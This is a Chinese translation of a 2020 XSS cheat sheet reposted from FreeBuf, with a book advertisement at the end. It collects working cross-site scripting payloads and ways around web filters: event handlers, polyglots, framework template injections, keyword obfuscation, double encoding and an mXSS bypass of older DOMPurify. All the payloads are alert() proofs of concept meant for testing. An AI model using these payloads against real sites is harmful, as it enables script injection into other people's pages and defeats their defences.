内容简介:其实,现在网络上很多的XSS Cheat Sheet都已经过期了。很多的XSS Cheat Sheet都是直接从其他地方粗制粘贴过来的,而且有的测试用例早在十年前就已经没用了,但是也没人去整理和清理。除此之蛙,在大多数情况下我们所遇到的情况都是这些XSS Cheat Sheet测试用例无法解决的,有可能是因为Web应用防火墙,也有可能是因为XSS过滤器。当然了,如果只是一个简单的XSS漏洞,那你需要的仅仅只是一个有效的XSS攻击向量,而不是一堆“没用”的东西。因此,在这篇文章中我想给大家提供一个“与众不同”
其实,现在网络上很多的XSS Cheat Sheet都已经过期了。很多的XSS Cheat Sheet都是直接从其他地方粗制粘贴过来的,而且有的测试用例早在十年前就已经没用了,但是也没人去整理和清理。除此之蛙,在大多数情况下我们所遇到的情况都是这些XSS Cheat Sheet测试用例无法解决的,有可能是因为Web应用防火墙,也有可能是因为XSS过滤器。当然了,如果只是一个简单的XSS漏洞,那你需要的仅仅只是一个有效的XSS攻击向量,而不是一堆“没用”的东西。
因此,在这篇文章中我想给大家提供一个“与众不同”的Cheat Sheet,在这份Cheat Sheet中我将给大家提供一份XSS技术和测试用例清单,并给出一些演示样例。希望在各位遇到难解决的WAF或XSS过滤器时,这份Cheat Sheet能够给大家提供一些帮助或灵感。虽然这份Cheat Sheet不能说100%完整,但是我相信这里提供的技术是2020年绝大部分研究人员仍在使用的技术。
标签-属性分隔符
有些过滤器会“天真地认为”只有某些特定字符可以分隔标签及其属性,下面给出的是在Firefox和Chrome中能够使用的有效分隔符的完整列表:
十进制值 | URL编码 | 介绍 |
---|---|---|
47 | %2F | 正斜杠 |
13 | %0D | 回车 |
12 | %0C | 分页符 |
10 | %0A | 换行 |
9 | %09 | 水平制表符 |
使用方式
一般来说,你的Payload构造如下:
<svg onload=alert(1)>
你可以尝试使用上述字符来替换‘svg’和‘onload’中间的空格,这样就可以保证HTML仍然有效并且Payload能够正确执行(DEMO: 有效的HTML ):
<svg/onload=alert(1)><svg> <svg onload=alert(1)><svg> # newline char <svg onload=alert(1)><svg> # tab char <svg onload=alert(1)><svg> # new page char (0xc)
基于JavaScript事件的XSS
详细参考资料: 更多的HTML事件
标准HTML事件
0点击事件:
事件名称 | 标签 | 备注 |
---|---|---|
onload | body, iframe, img, frameset, input, script, style, link, svg | 适用于0-click,但通常会被过滤掉 |
onpageshow | body | 适用于 0-click,但只能用在非DOM注入中 |
onfocus | 大多数标签 | 适用于 0-click:配合autofocus=””使用 |
onmouseover | 大多数标签 | 如果可能的话,添加参数值来让其尽可能的大。 |
onerror | img, input, object, link, script, video, audio | 确保传递参数来终止运行 |
onanimationstart | 与任何可以设置动画的元素组合 | 启动,然后开始CSS动画 |
onanimationend | 与任何可以设置动画的元素组合 | 启动,然后结束CSS动画 |
onstart | marquee | 在字幕动画启动时启动-仅限Firefox |
onfinish | marquee | 在字幕动画启动时启动-仅限Firefox |
ontoggle | details | 必须提供’opne’参数以支持0-click |
使用样例:
<body onload=alert()> <img src=x onerror=alert()> <svg onload=alert()> <body onpageshow=alert(1)> <div onmouseover=alert()></div> <marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only) <marquee onstart=alert(1)> (firefox only) <marquee loop=1 width=0 onfinish=alert(1)> (firefox only) <input autofocus="" onfocus=alert(1)></input> <details open ontoggle="alert()"> (chrome & opera only)
HTML5事件
0点击事件:
事件名称 | 标签 | 备注 |
---|---|---|
onplay | video, audio | 适用于0-click:结合HTML的autoplay属性以及结合有效的视频/音频 |
onplaying | video, audio | 适用于0-click: 结合HTML的autoplay属性以及结合有效的视频/音频 |
oncanplay | video, audio | 必须链接有效的视频/音频 |
onloadeddata | video, audio | 必须链接有效的视频/音频 |
onloadedmetadata | video, audio | 必须链接有效的视频/音频 |
onprogress | video, audio | 必须链接有效的视频/音频 |
onloadstart | video, audio | 潜在的0-click向量 |
oncanplay | video, audio | 必须链接有效的视频/音频 |
使用样例:
<video autoplay onloadstart="alert()" src=x></video>
<video autoplay controls onplay="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></video>
<video controls onloadeddata="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></video>
<video controls onloadedmetadata="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></video>
<video controls onloadstart="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></video>
<video controls onloadstart="alert()"><source src=x></video>
<video controls oncanplay="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></video>
<audio autoplay controls onplay="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></audio>
<audio autoplay controls onplaying="alert()"><source src=" http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4 "></audio>
基于CSS的事件
不幸的是,基于CSS来实现XSS现在已经越来越难了,我尝试过的所有向量目前都只能在非常旧的浏览器上工作。因此,下面介绍的是基于CSS来触发XSS的情况。
下面的例子使用的是style标签来为动画的开始和结束设置关键帧:
<style>@keyframes x {}</style> <p onanimationstart="alert()">XSS</p> <p onanimationend="alert()">XSS</p>
古怪的XSS向量
下面给出的是一些比较“奇葩”的XSS测试向量,这些测试向量很少见:
<svg><animate onbegin=alert() attributeName=x></svg> <object data="data:text/html,<script>alert(5)</script>"> <iframe srcdoc="<svg onload=alert(4);>"> <object data=javascript:alert(3)> <iframe src=javascript:alert(2)> <embed src=javascript:alert(1)> <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed> <embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczL**yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
XSS多覆盖样例
下面我给出了几份XSS的多段代码,因为有的时候我们只需要输入特定的字符,或者只需要一个基于DOM或基于非DOM的注入场景。
字符 | 使用 | 多段代码 |
---|---|---|
141 | DOM和非DOM | javascript:”/*’/*`/*–></noscript></title></textarea></style></template></noembed></script><html \” onmouseover=/*<svg/*/onload=alert()//> |
88 | 非DOM | “‘–></noscript></noembed></template></title></textarea></style><script>alert()</script> |
95 | DOM | ‘”–></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()> |
54 | 非DOM | “‘>–>*/</noscript></ti tle><script>alert()</script> |
42 | DOM | “‘–></style></script><svg onload=alert()> |
框架
为了攻击JS框架,我们还需要对相关的模板语言进行研究和分析。
AngularJS
{{constructor.constructor('alert(1)')()}}
这个Payload适用于大多数场景,但如果你还需要更多的Payload,可以点击【 这里 】获取。
Mavo
[self.alert(1)]
XSS过滤器绕过
圆括号过滤
利用HTML解析器和JS语句:
<svg onload=alert`1`></svg> <svg onload=alert(1)></svg> <svg onload=alert(1)></svg> <svg onload=alert(1)></svg>
限制字符集
下面这三个站点可以将有效的JS代码转换为所谓的“乱码”来绕过绝大多数的过滤器:
1、 JSFuck
3、 jjencode
关键词过滤
避免使用的关键词:
(alert)(1) (1,2,3,4,5,6,7,8,alert)(1) a=alert,a(1) [1].find(alert) top["al”+”ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) // Generated using parseInt(“alert”,30). Other bases also work
mXSS和DOM攻击
对于XSS过滤器来说,它们基本上不可能正确地预测浏览器如何跟HTML以及交互库进行数据处理的方式。因此,有的时候我们就可以将XSS Payload作为无效的HTML插入到目标页面中,然后浏览器将有可能把它作为有效Payload执行,这样就可以绕过过滤器了。
下面给出的是一个能够绕过最常见过滤器( DOMPurify <2.0.1 )的mXSS Payload:
<svg></p><style><a id="</style><img src=1 onerror=alert(1)>"> <svg><p><style><a id="</style><img src=1 onerror=alert(1)>"></p></svg>
双重编码
有的时候,应用程序会在字符串再次解码之前,对其执行XSS过滤,这样就会给我们留下实现绕过的可乘之机。
字符 | 双重编码 |
---|---|
< | %253C |
> | %253E |
( | %2528 |
) | %2529 |
” | %2522 |
’ | %2527 |
参考资料
1、 https://www.vulnerability-lab.com/resources/documents/531.txt
2、 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
3、 https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
4、 https://cure53.de/fp170.pdf
5、 https://www.*******.com/watch?v=5W-zGBKvLxk
6、 https://xss.pwnfunction.com/
* 参考来源: netsec ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Programming Amazon Web Services
James Murty / O'Reilly Media / 2008-3-25 / USD 49.99
Building on the success of its storefront and fulfillment services, Amazon now allows businesses to "rent" computing power, data storage and bandwidth on its vast network platform. This book demonstra......一起来看看 《Programming Amazon Web Services》 这本书的介绍吧!